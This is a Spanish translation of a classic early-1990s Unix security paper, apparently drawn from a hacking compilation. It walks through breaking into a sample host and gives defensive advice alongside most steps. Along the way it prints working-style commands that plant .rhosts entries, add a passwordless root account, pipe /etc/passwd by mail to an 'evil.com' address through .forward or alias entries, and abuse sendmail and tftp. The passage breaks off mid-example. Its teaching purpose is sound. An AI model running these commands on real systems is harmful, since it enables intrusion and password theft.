"Desde que uso proxies soy mas feliz" ---|--- ============================================================================== Introducción Todos los días, en todo el mundo, las redes de ordenadores y hosts son violados. El nivel de sofisticación de estos ataques varia ampliamente; mientras hay una creencia generalizada que la mayoría de estas intrusiones tienen éxito debido a la debilidad de los passwords, hay todavía un gran numero de intrusiones que hacen uso de técnicas mas avanzadas para entrar. Poco es sabido acerca de este ultimo tipo de intrusiones , debido principalmente a su naturaleza y a su dificultad de ser detectadas. ERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. Cualquier sistema en Internet (y muchos que no lo están) son susceptibles de ser violados fácilmente. ¿Son estos objetivos inusuales? ¿Que ocurrió? Un hombrejoven, con pelo rubio y grasiento, sentado en una habitación oscura. La habitacion esta iluminada solamente por la luz de la pantalla de 40 caracteres de un C64. Tomando otra larga aspiración de su Benson & Hedges, su cansado sistema cracker “Telnetea” a otro site “.mil” anónimo de su lista de víctimas. No importa. Tiene toda la noche….lo tacha de su lista, y cansinamente teclea la siguiente víctima potencial…. Esta parece ser la imagen habitual de un cracker de sistemas. Joven, sin experiencia, y con un montón de tiempo que perder, tan solo para entrar en otro sistema. Sin embargo, hay un tipo de cracker mucho mas peligroso rondando por ahí. Uno que sabe todo lo ultimo acerca de seguridad de sistemas y herramientas cracking, que puede modificarlas para llevar a cabo ataques específicos, y que puede currarse sus propios programas. Uno que no solo se dedica a leer sobre los últimos agujeros de seguridad, sino que tambien descubre bugs y puntos débiles. Una “criatura mortal” que puede tanto golpear “envenenadamente” , como ocultar su rastro sin un solo susurro o pista. El uebercracker esta aquí.. Por que “uebercracker” ? Es una idea robada, obviamente, del uebermensch de Nietzsche,o , literalmente traducido al ingles, “over man”. Nietzsche uso el termino no para referirse a un super hombre de comic, sino a un hombre que va mas alla de la incompetencia, insignificancia, y

Page 103: El Libro Negro Del Hacker2

103

debilidad del hombre tradicional. Por lo tanto el uebercracker es el cracker de sistemas que ha ido mas alla de los simples metodos de intrusion de los cookbooks. Un uebercracker no se motiva normalmente para realizar actos violentos. Las victimas no son arbitrariamente escogidas – hay un proposito, tanto como si es por conseguir fines monetarios, un ataque “golpea y corre” para pillar informacion, o un desafio para golpear un prestigioso-gran site o red personalmente. Un uebercracker es dificil de detectar, mas aun de parar, y aun mas si cabe de mantenerlo alejado de tu site por tu bien. Overview En este texto vamos a realizar un acercamiento inusual a los sistemas de seguridad. En vez de decir meramente que algo es un problema, vamos a mirar a traves de los ojos de un intruso, y ver por que lo es. Vamos a ilustrar que incluso los aparentemente inocuos servicios de red pueden convertirse en herramientas muy valiosas a la hora de buscar puntos debiles en un sistema, incluso cuando estos servicios operan del modo esperado. En un esfuerzo por verter algo de luz sobre como ocurren estas intrusiones cada vez mas avanzadas, este texto reseña varios mecanismos usados actualmente por los crackers para obtener acceso a los sistemas y, adicionalmente, algunas tecnicas que sospechamos estan usando, o hemos usado nosotros mismos en tests o ambientes autorizados/amigables. Nuestra motivacion a la hora de ecribir este texto ha sido el hecho de que los administradores de sistemas no son muy a menudo conscientes del peligro existente por cualquier cosa mas alla de los ataques mas triviales. Mientras por todos es sabido que el nivel de proteccion apropiado depende de que es lo que debe ser protegido, muchos sites parecen estar faltos de los recursos para valorar que nivel de proteccion es adecuada. Dando a conocer lo que los intrusos pueden hacer para ganar acceso a un sistema remoto, intentamos ayudar a los administradores de sistemas a tomar decisiones sobre como proteger su site – o como no hacerlo. Limitaremos la discusion a tecnicas que pueden posibilitar el acceso a intrusos a shells en un host corriendo UNIX. Una vez hecho esto, los detalles acerca de como conseguir privilegios root estan mas alla del ambito de este texto – consideramos que son o dependen del site y, en muchos casos, muy triviales para merecer discutirse. Queremos recalcar que no vamos a hacer una lista de bugs o agujeros de seguridad – siempre habra nuevos para que un “atacante” en potencia los explote. El proposito de este texto es el de tratar de que el lector vea su sistema de una forma nueva/diferente – una forma que posiblemente le

Page 104: El Libro Negro Del Hacker2

104

permita tener la oportunidad de entender como su propio sistema puede estar comprometido, y como. Tambien queremos reiterar que el proposito de este texto es el de enseñar al lector como testear la seguridad de su propio site, y no como irrumpir en sistemas ajenos. Las tecnicas de intrusion ilustradas aquí dejaran muy a menudo huellas en los logs de tu sistema – seria constructivo examinarlos despues de intentar alguno de estos ataques, para ver como seria un ataque verdadero. Ciertamente otros sites y administradores de sistemas tomaran/haran una vision fugaz de tus actividades si es que decides usar sus hosts para hacer tests de seguridad sin autorizacion avanzada; de hecho, es posible que se tomen medidas legales contra tu persona si lo perciben como un ataque. Hay cuatro partes principales en este texto. La primera es la intoduccion y el overview. La segunda parte es un intento de dar a entender al lector lo que es ser un intruso y como de no saber nada de un sistema pasar a comprobar su seguridad. Esta seccion revisa las tecnicas actuales de obtencion de informacion y acceso, y cubre estrategias basicas tales como explotar y abusar de servicios basicos mal configrados (ftp, mail, tftp, etc.). Tambien trata temas un poco mas avanzados, tales como NIS y NFS, asi como bugs tipicos y problemas de configuracion en cierta forma mas especificos de los sitemas operativos o de los sistemas. Tambien se cubre lo referente a estragegias defensivas contra cada uno de los diferentes ataques. La tercera seccion trata sobre confianza: como la seguridad de un sistema depende de la integridad de otros sistemas. La confianza es el tema mas complejo de este texto, y por ser breves limitaremos su discusion a “los clientes ocultos” (si alguien ha entendido esto ultimo que me lo explique :)). La cuarta seccion cubre los pasos basicos a seguir por un administrador de sistemas para proteger su sistema. La mayoria de los metodos presentados aquí son meramente de sentido comun, pero son comunmente ignorados en la practica – una de nuestras metas es enseñar lo peligroso que es ignorar estos metodos basicos de seguridad. Estudios practicos, indicadores de informacion relacionada con la seguridad, y software son descritos en los apendices al final del documento.

Page 105: El Libro Negro Del Hacker2

105

Mientras exploramos los metodos y estrategias que se discuten en este texto vamos a hablar del SATAN ( Security Analysis Tool for Auditing Networks ). Escrito en shell, perl, expect y C, examina un host o sets de hosts remotos y recoge tanta informacion como sea posible explorando remotamente NIS, finger, NFS, ftp y tftp, rexd, y otros servicios. Esta informacion incluye la presencia de varios servicios de informacion de red asi como de defectos potenciales de seguridad – normalmente en la forma de errores en el setup o en la configuracion de los servicios de red, bugs tipicos en las utilidades del sistema o red, o bien decisiones tacticas pobres o ignorantes. Entonces puede bien informar sobre estos datos o usar un sistema experto para investigar mas adelante cualquier problema potencial de seguridad. Mientras el SATAN no usa todos los metodos discutdos en este texto, ha triunfado con “amenazadora” regularidad a la hora de encontrar serios agujeros de seguridad en sites de Internet. Sera posteado y estara disponible via FTP anonimo cuando este completado; El apendice A cubre sus caracteristicas mas destacadas. Observar que no es posible cubrir todos los metodos posibles de irrumpir en los sistemas en un solo texto. De hecho, no vamos a mencionar dos de los metodos mas efectivos de irrupcion en hosts remotos: social engineering ( ingenieria social) y password cracking (crackear passwords). Este ultimo metodo es tan efectivo, sin embargo, que varias de las estrategias presentadas aquí estan basadas en la obtencion de archivos de passwords. Adicionalmente, mientras los sitemas basados en ventanas (X, OpenWindows, etc..) pueden proveer una “tierra fertil” para la irrupcion/violacion/explotacion, simplemente no sabemos muchos metodos usados para irrumpir en sistemas remotos. Muchos crackers de sistemas usan terminales non-bitmapped que les pueden prevenir de usar algunos de los metodos de explotacion efectiva mas interesantes para sistemas basados en ventanas (aunque el ser capaz de ver/monitorizar el teclado de la victima es normalmente suficiente para pillar passwords). Finalmente, mientras gusanos, virus, caballos de troya, y demas movidas son muy interesantes, no son comunes ( en sistemas basados en UNIX) y probablemente usan tecnicas muy similares a las descritas en este documento como partes individuales de su estrategia de ataque. Ganando Informacion Asumamos que tu eres el administrador de sistema de “Victim Incorporated’s network of Unix workstations”. En un esfuerzo por proteger tus maquinas, le

Page 106: El Libro Negro Del Hacker2

106

pides a un colega administrador de sistema de un site cercano (evil.com) que te de una cuenta en una de sus maquinas para asi poder ver la seguridad de tu propio sistema desde el exterior. Que deberias hacer? Lo primero, tratar de recoger informacion sobre tu blanco, tu host. Hay un monton de servicios de red en los que mirar: finger, showmount y rpcinfo son buenos puntos de partida. Pero no te pares ahi – debes tambien utilizar DNS, whois, sendmail (smtp), ftp, uucp, y tantos otros servicios como puedas encontrar. Hay tantos metodos y tecnicas que el espacio nos impide enseñaros todos, pero trataremos de enseñar una representativa de las estrategias mas comunes y/o peligrosas que hemos visto o que se nos han ocurrido. Idealmente, podrias recoger dicha informacion sobre todos los hosts en la subred o area de ataque – la informacion es poder – pero por ahora examinaremos solo nuestra victima/blanco en cuestion. Para comenzar, miraremos lo que el comando finger nos ha reportado. (imagina que son las 6pm, 6 Noviembre, 1993): victim % finger @victim.com [victim.com] Login Name TTY Idle When Where zen Dr. Fubar co 1d Wed 08:00 death.com Bien! Un solo usuario inactivo – se supone que nadie va a notar si intentas irrumpir dentro. Ahora intentas mas tacticas. Como todos los devotos del finger sabran, hacer finger “@”, “0”, y "", asi como a nombre comunes, como root, bin, ftp, system, guest, demo, manager, etc…, puede revelar informacion interesante. Lo que esa informacion sea depende de la version de finger que tu victima este usando, pero la mas importante son nombres de cuentas, conjuntamente con sus home directories y el ultimo host desde el que se conectaron. Para añadir a esta informacion, puedes tambien usar rusers (en particular con la extension -l ) para pillar informacion valiosa sobre usuarios conectados. Usando estos comandos en victim.com nos da la siguiente informacion, presentada de forma tabulada comprimida para ahorrar espacio: Login Home-dir Shell Last login, from where

Page 107: El Libro Negro Del Hacker2

107

root / /bin/sh Fri Nov 5 07:42 on ttyp1 from big.victim.com bin /bin Never logged in nobody / Tue Jun 15 08:57 on ttyp2 from server.victim.co daemon / Tue Mar 23 12:14 on ttyp0 from big.victim.com sync / /bin/sync Tue Mar 23 12:14 on ttyp0 from big.victim.com zen /home/zen /bin/bash On since Wed Nov 6 on ttyp3 from death.com sam /home/sam /bin/csh Wed Nov 5 05:33 on ttyp3 from evil.com guest /export/foo /bin/sh Never logged in ftp /home/ftp Never logged in Tanto nuestros experimentos con el SATAN como el ver en funcionamiento system crackers nos ha demostrado que el finger es uno de los servicios mas peligrosos, por su valor a la hora de investigar una victima potencial. De todas formas, mucha de esta informacion solamente es valiosa usada conjuntamente con otros datos. Por ejemplo, ejecutando showmount (informacion sobre el montaje de un servidor)en tu victima nos revela lo siguiente: evil % showmount -e victim.com export list for victim.com: /export (everyone) /var (everyone) /usr easy /export/exec/kvm/sun4c.sunos.4.1.3 easy /export/root/easy easy /export/swap/easy easy Notar que /export/foo esta “exportado al mundo”; tambien fijaros que este es el home directory del usuario “guest”. Es hora de tu primera intrusion! En este caso, montaras el home directoy del usuario “guest”. Como no tienes la cuenta correspondiente en esa maquina y como root no puede modificar archivos en un sistema de archivos NFS, creas una cuenta “guest” en tu archivo de password local. Como usuario “guest” puedes colocar una “.rhosts entry” en el guest home directory remoto, que te permitira acceder a dicha maquina sin tener que dar ningun password. evil # mount victim.com:/export/foo /foo evil # cd /foo evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 10001 daemon 1024 Aug 3 15:49 guest

Page 108: El Libro Negro Del Hacker2

108

evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd evil # ls -lag total 3 1 drwxr-xr-x 11 root daemon 512 Jun 19 09:47 . 1 drwxr-xr-x 7 root wheel 512 Jul 19 1991 .. 1 drwx--x--x 9 guest daemon 1024 Aug 3 15:49 guest evil # su guest evil % echo evil.com >> guest/.rhosts evil % rlogin victim.com Welcome to victim.com! victim % Si, en lugar de home directories, victim.com exportara sistemas de archivos con comandos de usuario (como , /usr o /usr/local/bin), podrias reemplazar un comando por un caballo de troya que ejecutara cualquier comando de tu eleccion. El siguiente usuario en ejecutar dicho comando ejecutaria tu programa Sugerimos que se exporten estos sistemas de archivos: Lectura/excritura solo a clientes especificos y de confianza Solo-lectura, donde sea posible (datos o programas pueden ser exportados de esta forma) Si la victima tiene un “+” wildcard en su /etc/hosts.equiv (por defecto en varias maquinas) o tiene el netgroups bug , cualquier usuario no root con un login en el fichero de passwords de la victima puede hacer un rlogin (login remoto) a la victima sin necesidad de password. Y como el usuario “bin” normalmente tiene ficheros llave y directorios, tu siguiente ataque es el de tratar de acceder en el host de la victima y modificar el fichero de passwords para permitirte tener acceso “root”: evil % whoami bin evil % rsh victim.com csh -i Warning: no access to tty; thus no job control in this shell... victim % ls -ldg /etc drwxr-sr-x 8 bin staff 2048 Jul 24 18:02 /etc victim % cd /etc victim % mv passwd pw.old victim % (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd victim % ^D evil % rlogin victim.com -l toor Welcome to victim.com! victim # Unas pocas notas sobre el metodo usado arriba; "rsh victim.com csh -i" se

Page 109: El Libro Negro Del Hacker2

109

usa para inicialmente entrar en el sistema ya que no deja ningun rastro en los ficheros wtmp o utmp, haciendo el comando rsh invisible para el finger y el who. El shell remoto no esta unido a un pseudo-terminal, asi que los prgramas tipo pagers y editores fallaran – pero es de gran utilidad para una breve exploracion. La utilidad de seguridad COPS (ver apendice D) informara de archivos o directorios que son “escribibles” a otras cuentas aparte de la superuser. Si usas SunOS 4.x puedes aplicar el patch 100103 para arreglar muchos de los problemas de permisos de ficheros. En muchos sistemas, rsh lo prueba en lo expuesto arriba, aun cuando tenga éxito, seguira siendo completamente innotificable; el tcp wrapper (apendice D), que “logea” conexiones entrantes, puede ayudar a desenmascarar dichas actividades. --- Y ahora que? Has destapado ya todos los agujeros del sistema-victima? Volviendo a los resultados dados por el finger en nuestra victima, te das cuenta de que tiene una cuenta “ftp”, que normalmente significa que se puede hacer ftp anonimo. Ftp anonimo puede ser una forma facil de conseguir acceso, ya que esta muchas veces mal configurado. Por ejemplo, la victima debe de tener una copia completa del fichero /etc/passwd en su ftp anonimo -ftp/etc en vez de una version reducida. En este ejemplo, sin embargo, puedes ver que este ultimo no parece ser el verdadero (como puedes afirmarlo sin haber examinado el archivo?) Sin embargo, el home directory de “ftp” en victim.com es escribible. Esto te permite ejecutar comandos remotamente – en este caso, mandarte el archivo por mail a ti mismo – por el simple metodo de crear un archivo .forward que ejecuta un comando cuando un mail es mandado a la cuenta “ftp”. evil % cat forward_sucker_file "|/bin/mail [email protected] < /etc/passwd" evil % ftp victim.com Connected to victim.com 220 victim FTP server ready. Name (victim.com:zen): ftp 331 Guest login ok, send ident as password. Password: 230 Guest login ok, access restrictions apply. ftp> ls -lga 200 PORT command successful. 150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes). total 5 drwxr-xr-x 4 101 1 512 Jun 20 1991 . drwxr-xr-x 4 101 1 512 Jun 20 1991 .. drwxr-xr-x 2 0 1 512 Jun 20 1991 bin drwxr-xr-x 2 0 1 512 Jun 20 1991 etc drwxr-xr-x 3 101 1 512 Aug 22 1991 pub

Page 110: El Libro Negro Del Hacker2

110

226 ASCII Transfer complete. 242 bytes received in 0.066 seconds (3.6 Kbytes/s) ftp> put forward_sucker_file .forward 43 bytes sent in 0.0015 seconds (28 Kbytes/s) ftp> quit evil % echo test | mail [email protected] Ahora simplemente tienes que esperar a que el fichero de passwords te sea enviado. La herramienta de seguridad COPS chequeara el setup de tu ftp anonimo; mirar la documentacion man sobre ftpd, la documetacion/codigo de COPS, o el CERT advisory 93:10 para recoger informacion acerca de como establecer (setup, por si hay dudas) ftp anonimo correctamente. Vulnerabilidades en el ftp son normalmente cusetion de una posesion incorrecta o de los permisos de archivos y directorios. Al menos, estate seguro de que -ftp y todos los directorios y ficheros “system” por debajo de -ftp son de root y que no tienen privilegios de escritura para ningun usuario. Examinando ftp, puedes probar un viejo bug que en su dia fue bastamente explotado: % ftp -n ftp> open victim.com Connected to victim.com 220 victim.com FTP server ready. ftp> quote user ftp 331 Guest login ok, send ident as password. ftp> quote cwd ~root 530 Please login with USER and PASS. ftp> quote pass ftp 230 Guest login ok, access restrictions apply. ftp> ls -al / (o lo que sea) Si esto funciona, estaras dentro como root, y con capacidad para modificar el fichero passwd, o lo que desees. Si tu sistema tiene este bug, tienes que conseguir un update de tu ftpd daemon, ya sea de tu vendedor o por ftp anonimo en ftp.uu.net. El wuarchive ftpd, un conocido “recambio” del ftp daemon dado por la Washington University in Saint Louis, tenia casi el mismo problema. Si tu wuarchive ftpd es anterior a Abril de 1993, deberias reemplazarlo por una version mas reciente. hay un programa similar a ftp – tftp, o trivial file transfer program. Este daemon no necesita de ningun password para autentificacion; si un host provee de tftp sin restringir el acceso (normalmente mediante

Page 111: El Libro Negro Del Hacker2

111

algun flag seguro puesto en el archivo inetd.conf), un atacante podria leer y escribir archivos en cualquier lugar del sistema. En el ejemplo, pillas el fichero passwd y se pone en tu directorio /tmp local: evil % tftp tftp> connect victim.com tftp> get /etc/passwd /tmp/passwd.victim tftp> quit Por el bien de la seguridad, tftp no deberia de ejecutarse; si tftp es necesario, utiliza la opcion/flag segura para restringir el acceso a un directorio que contenga informacion sin valor, o ejecutalo bajo el control de un programa chroot wrapper. ----- Si ninguno de los metodos anteriores ha funcionado, es hora de tomar medidas mas drasticas. Tu nuevo amigo es rpcinfo, otro programa de gran utilidad, muchas veces incluso mas practico que el finger. Muchos hosts tienen servicios RPC que pueden ser explotados; rpcinfo puede hablar con el portmapper y enseñarte el camino. Puede decirte si el host esta usando NIS, si es un servidor o esclavo NIS, si hay una estacion de trabajo sin disquetera por ahi, si esta usando NFS, cualquiera de los servicios de info (rusersd, rstatd, etc..), o cualquier otro programa inusual (relacionados con logs y seguridad). Por ejemplo, volviendo a nuestra victima: evil % rpcinfo -p victim.com program vers proto port 100004 2 tcp 673 ypserv 100005 1 udp 721 mountd 100003 2 udp 2049 nfs 100026 1 udp 733 bootparam 100017 1 tcp 1274 rexd En este caso, puedes ver varios datos significativos sobre nuestra victima; el primero de los cuales es que es un servidor NIS. Puede que no sea muy sabido, pero una vez que se conoce el nombre de dominio NIS de un servidor, puedes tener cualquiera de sus mapas NIS con una simple orden rpc, incluso cuando estas fuera de la subred del servidor NIS (por ejemplo, usando el programa YPX que se puede encontrar en los archivos comp.sources.misc en ftp.uu.net). Adicionalmente, tanto como los facilmente adivinables passwords, muchos sistemas usan nombres de dominio NIS facilmente adivinables. Tratar de adivinar el nombre de dominio NIS es normalmente provechoso/fructifero. Los mayores candidatos son los nombres del host en forma parcial y total (e.g. “victim” and “victim.com”, el nombre de la organización, nombres del grupo dados por el comando “showmount”, y demas. Si quisieras probar si el nombre de dominio fuera “victim”, teclearias:

Page 112: El Libro Negro Del Hacker2

112

evil % ypwhich -d victim victim.com Domain victim not bound. Como se ve este fue un intento sin éxito; si huiera sido correcto “victim”, nos habria dado un mensaje con el nombre de host del servidor NIS. De todas formas, fijaros de la seccion NFS que victim.com esta exportando el directorio “/var” al mundo. Todo lo que se necesita es montar dicho directorio y mirar en el subdirectorio “yp” – entre otras cosas veras otro subdirectorio que contiene el nombre de dominio de la victima. evil # mount victim.com:/var /foo evil # cd /foo evil # /bin/ls -alg /foo/yp total 17 1 drwxr-sr-x 4 root staff 512 Jul 12 14:22 . 1 drwxr-sr-x 11 root staff 512 Jun 29 10:54 .. 11 -rwxr-xr-x 1 root staff 10993 Apr 22 11:56 Makefile 1 drwxr-sr-x 2 root staff 512 Apr 22 11:20 binding 2 drwxr-sr-x 2 root staff 1536 Jul 12 14:22 foo_bar [...] En este caso “foo_bar” es el nombre de dominio del NIS. Adicionalmente, los mapas NIS contienen normalmente una buena lista de nombres de usuarios/empleados asi como listas de hosts internos, por no mencionar passwords para crackear. El apendice C detalla los resultados de un caso practico sobre archivos de passwords NIS. ----- Puedes observar que la respuesta dada por el comando rpcinfo mostraba que victim.com usaba rexd. Como el rsh daemon, rexd procesa peticiones del tipo “por favor ejecuta este comando como ese usuario (como siendo ese usuario)”. A diferencia de rshd, rexd no tiene en cuenta si el host cliente esta o no en los archivos hosts.equiv o .rhost. Normalmente el programa rexd cliente es el comando “on”, pero tan solo es necesario un pequeño programa en C para mandar informacion arbitraria sobre el host y userid cliente al servidor rexd; rexd ejecutara tan contento el comando. Por estas razones, ejecutar rexd es similar a no tener passwords: toda la seguridad esta en el cliente, no en el servidor que es donde deberia. La seguridad del rexd puede ser mejorada de alguna manera usando un RPC seguro. -----

Page 113: El Libro Negro Del Hacker2

113

bservando de nuevo la respuesta de rpcinfo, puedes observar que victim.com parece ser un server para estaciones de trabajo sin disqueteras. Esto se evidencia debido a la presencia del servicio bootparam, que provee informacion a los clientes sin disquetera para el arranque. Si lo preguntas correctamente, usando BOOTPARAMPROC_WHOAMI y dando la direccion de un cliente, puedes obtener su nombre de dominio NIS. Esto puede ser de gran utilidad cuando es combiando con el hecho de que puedes conseguir mapas NIS arbitrarios (como el fichero password) cuando sabes el nombre de dominio. Aquí va un ejemplo de codigo para hacer justo eso: char *server; struct bp_whoami_arg arg; /* query */ struct bp_whoami_res res; /* reply */ /* initializations omitted... */ callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI, xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res); printf("%s has nisdomain %s\n", server, res.domain_name); El resultado del comando showmount indicaba que “easy” es un cliente sin disquetera de victim.com, asi que usamos su direccion de cliente en el query BOOTPARAMPROC_WHOAMI: evil % bootparam victim.com easy.victim.com

Page 114: El Libro Negro Del Hacker2

114

victim.com has nisdomain foo_bar ----- Los NIS masters controlan los alias del mail para el dominio NIS en cuestion. Como en los ficheros de alias de mail locales, puedes crear un mail alias que ejecutara comandos cuando el mail le es mandado(un ejemplo popular de esto es el alias “decode” que “uudecodea” archivos mail que le son mandados). Por ejemplo, aquí creas un alias “foo”, que mailea el fichero password de vuelta a evil.com simplemente maileandole cualquier mensaje: nis-master # echo 'foo: "|mail [email protected]< /etc/passwd "' >> /etc/aliases nis-master # cd /var/yp nis-master # make aliases nis-master # echo test | mail -v [email protected] Por suerte los atacantes no tendran control de tu NIS master host, pero mas aun laa leccion esta clara – NIS normalmente no es seguro, pero si un atacante se hace con el control de tu NIS master, efectivamente tendra de los hosts clientes(por ejemplo podra ejecutar comandos arbitarrios). No hay demasiadas defensas contra estos ataques; es un servicio inseguro que casi no tiene autentificacion entre clientes y servers. Para mas INRI, parece claro que se pueden forzar mapas aleatorios incluso en servidores maestros (ej, es posible tratar a un servidor NIS como si fuera un cliente). Obviamente, esto echaria abajo todos los esquemas. Ni es absolutamente necesario usar NIS, el usar un nombre de dominio dificil de adivinar facilitaria mucho las cosas, pero si usas clientes sin disquetera que estan expuestos a atacantes en potencia, entonces es insignifante para este atacante el sobrepasar este simple paso haciendo uso del truco del bootparam para conseguir el nombre de dominio. Si el NIS es usado para

Page 115: El Libro Negro Del Hacker2

115

propagar los mapas de passwords, entonces los shadowed passwords no ofrecen ningun tipo de proteccion adicional ya que el mapa shadow seria aun accesible para cualquier atacante que fuera root en un host de ataque. Lo mehjor es usar NIS lo menos posible, o por lo menos darse cuenta de que los mapas pueden ser objeto de lectuta por fuerzas potencialmente hostiles. El tener un protocolo RPC seguro disminuye en gran medida la amenaza, pero tiene sus propios problemas, principalmente en que es dificil de administrar, pero tambien en que los metodos de criptologia usados no son muy poderosos. Hay rumores de que NIS+, el nuevo servicio de informacion de red de Sun, soluciona alguno de los problemas, pero hasta ahora se ha limitado a correr bajo Suns. Finalmente, el usar filtrado de paquetes(packet filtering)en el puerto 111 o securelib (ver apendice D), o, para Suns, aplicar el parche 100482-02 de Sun, puede tambien ayudar. ----- El portmapper (mapeador de puertos) solo sabe de servicios RPC. Otros servicios de red pueden ser localizados con el metodo de fuerza bruta que conecta a todos los puertos de la red. Muchas utilidades de red y sistemas basados en ventanas “escuchan” en puertos especificos (ej, sendmail esta en el puerto 25, telnet en el 23, X windows normalmente esta en el 6000, etc). SATAN incluye un programa que escanea los puertos de un host remoto e informa lo que ha encontrado; si lo ejecutaras contra nuestra victima verias lo siguiente: evil % tcpmap victim.com Mapping 128.128.128.1 port 21: ftp port 23: telnet port 25: smtp port 37: time port 79: finger port 512: exec

Page 116: El Libro Negro Del Hacker2

116

port 513: login port 514: shell port 515: printer port 6000: (X) Esto sugiere que victim.com esta corriendo X windows. Si no esta correctamente protegido (por via de la cookie magica,magic cookie, o por mecanismos xhost), el contenido de las ventanas podria capturarse u observarse, lo que teclean los usuarios robado, ejecutar programas remotamente, etc. Tambien, si la victima esta usando X windows y acepta un telnet por el puerto 6000 (X), esto podria ser usado para un ataque de denegacion de servicio (denial of service attack), ya que el sistema de ventanas de la victima se suele mantener “congelado” por unos instantes. Un metodo para determinar la vulnerabilidad de un servidor X (corriendo X windows) es el de conectarse al mismo por medio de la funcion XOpenDisplay(); si esta nos da como resultado NULL entonces no puedes acceder al display de la victima (opendisplay es parte de SATAN): char *hostname; if (XOpenDisplay(hostname) == NULL) { printf("Cannot open display: %s\n", hostname); } else { printf("Can open display: %s\n", hostname); } evil % opendisplay victim.com:0 Cannot open display: victim.com:0 Los terminales X, aunque mucho menos potentes que un sistema UNIX completo, pueden tener sus propios problemas de seguridad. Muchos terminales X permiten accesos rsh no restringidos, permitiendote iniciar programas clientes X en el terminal de la victima apareciendo los resultados en tu propia pantalla: evil % xhost +xvictim.victim.com evil % rsh xvictim.victim.com telnet victim.com -display evil.com En cualquier caso, dale la misma importancia a la seguridad de tu sistema de ventanas, como a la de tu sistema de archivos y utilidades de red, ya que si no puede comprometer tu sistema igual que un “+” en el host.equiv o una cuenta root sin password. Lo siguiente es examinar el sendmail. Sendmail es un programa muy complejo que tiene un largo historial de problemas de seguridad, incluyendo el infame comando “wiz” (por suerte hace mucho que se deshabilito en todas las maquinas). A menudo puedes determinar el sistema operativo, a veces hasta la version, de la victima, mirando al numero de version de sendmail. Esto,

Page 117: El Libro Negro Del Hacker2

117

nos puede dar pistas acerca de como de vulnerable sera a cualquiera de los muchos bugs. Adicionalmente, puedes ver si usan el alias “decode”, que posee su propio set de problemas: evil % telnet victim.com 25 connecting to host victim.com (128.128.128.1.), port 25 connection open 220 victim.com Sendmail Sendmail 5.55/victim ready at Fri,6 Nov 93 18:00 PDT expn decode 250 <"|/usr/bin/uudecode"> quit El usar el alias “decode” es un riesgo de seguridad – permite a los atacantes en potencia sobreescribir cualquier fichero que fuese escribible por el poseedor de ese alias – a menudo un daemon, pero potencialmente cualquier usuario. Considera este trozo de mail – esto pondra a “evil.com” en el archivo .rhost del usuario zen si es que fuera escribible. evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail [email protected] Si no se conocen o no hay home directories escribibles, una interesante variacion de esto sera la creacion de un archivo /etc/aliases.pag falso que contenga un alias con un comando que quieras ejecutar en tu victima. Esto puede funcionar debido a que en muchos sistemas los archivos aliases.pag y aliases.dir, que controlan los alias de mail del sistema, son escribibles para todo el mundo. evil % cat decode bin: "| cat /etc/passwd | mail [email protected]" evil % newaliases -oQ/tmp -oA`pwd`/decode evil % uuencode decode.pag /etc/aliases.pag | mail [email protected] evil % /usr/lib/sendmail -fbin -om -oi [email protected] < /dev/null Se pueden encontrar muchas cosas simplemente preguntando a sendmail si una direccion es aceptable (vrfy), o hasta donde se expande una direccion (expn). Cuando los servicios de finger o rusers se desabilitan, vrfy y expn pueden todavia ser usados para identificar cuentas de usuarios. Vrfy y expn pueden tambien ser usados para descubrir si el usuario esta ejecutando mail por medio de cualquier programa susceptible de ser explotado (ej, vacation, mail sorters, etc.). Puede ser una buena idea el desabilitar los comandos vrfy y expn: en la mayoria de las versiones, mira en el codigo fuente del archivo srvrsmtp.c, y o bien borra o cambia las dos lineas de la estructura CmdTab que tengan los strings “vrfy” y “expn”. Sites sin codigo pueden tambien desabilitarlos simplemente editando el ejecutable del sendmail con un editor binario y reemplazando “vrfy” y “expn” por espacios en blanco.

Page 118: El Libro Negro Del Hacker2

118

El adquirir una version reciente del sendmail (ver apendice D) es tambien una gran idea, puesto que ha habido mas informes sobre bugs en el sendmail que encualquier otro programa UNIX. os bugs muy conocidos que deben ser tratados. El primero fue definitivamente arreglado en la version 5.59 de Berkeley; a pesar de los mensajes de abajo, para versiones de sendmail previas a la 5.59, “evil.com” se añade, a pesar de los mensajes de error, junto con los tipicos headers del mail, al archivo especificado: % cat evil_sendmail telnet victim.com 25 << EOSM rcpt to: /home/zen/.rhosts mail from: zen data random garbage . rcpt to: /home/zen/.rhosts mail from: zen data evil.com . quit EOSM evil % /bin/sh evil_sendmail Trying 128.128.128.1 Connected to victim.com Escape character is '^]'. Connection closed by foreign host. evil % rlogin victim.com -l zen Welcome to victim.com! victim % El segundo agujero, recientemente solucionado, permitia a cualquiera especificar comandos arbitrarios de shell y/o caminos de ruta para el remitente y/o direccion de destino. Los intentos por mantener los detalles en secreto fueron en vano, y extensas discusiones en listas de correo o grupos de news de usenet llevaron a revelar como explotar los bugs de algunas versiones. Como en muchos bugs de UNIX, casi todas las distribuciones de sendmail eran vulnerables al problema, ya que todas compartian un ancestral codigo fuente comun. El espacio nos impide discutirlo en su totalidad, pero un tipico ataque para conseguir el fichero de passwords seria de la siguiente manera: evil % telnet victim.com 25 Trying 128.128.128.1...

Page 119: El Libro Negro Del Hacker2

119

